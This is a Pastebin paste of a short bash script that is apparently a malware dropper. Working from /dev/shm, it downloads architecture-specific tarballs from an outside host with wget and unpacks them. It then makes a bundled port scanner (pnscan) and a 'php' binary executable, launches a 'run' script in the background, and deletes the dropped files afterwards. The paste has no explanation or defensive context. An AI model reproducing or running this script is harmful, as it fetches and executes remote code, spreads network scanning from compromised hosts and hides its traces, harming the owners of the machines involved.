Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2014
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.98 KB | None | 0 0
  1. #!/bin/bash
  2. dontrun=""
  3. arch=`uname -m`
  4. cd /dev/shm
  5. function runPnscan()
  6. {
  7.  
  8. cd /dev/shm
  9. chmod +x pnscan php
  10. bash run &
  11.  
  12. }
  13.  
  14. function isPnscanOn()
  15. {
  16. pid=`pidof pnscan`
  17. if [ "$pid" == "" ];then
  18.  
  19. retval=0
  20. else
  21. retval=1
  22. fi
  23. echo "$retval"
  24. }
  25. cd /dev/shm
  26. if [ ! -f pnscan ];then
  27. case "$arch" in
  28. "x86_64")
  29. wget -q http://korivind.se/j64.tgz -O j64.tgz
  30. tar xvzf j64.tgz
  31. rm -rf j64.tgz
  32. ;;
  33. *)
  34. wget -q http://korivind.se/j86.tgz -O j86.tgz
  35. tar xvzf j86.tgz
  36. rm -rf j86.tgz
  37. ;;
  38. esac
  39. fi
  40.  
  41.  
  42. if [ $(isPnscanOn) == 1 ];then
  43. # echo "Running"
  44. exit
  45. else
  46. echo "Not Running"
  47. if [ "$dontrun" != "1" ];then
  48. $(runPnscan)
  49. fi
  50. fi
  51. rm -rf /dev/shm/run
  52. rm -rf /dev/shm/pnscan
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement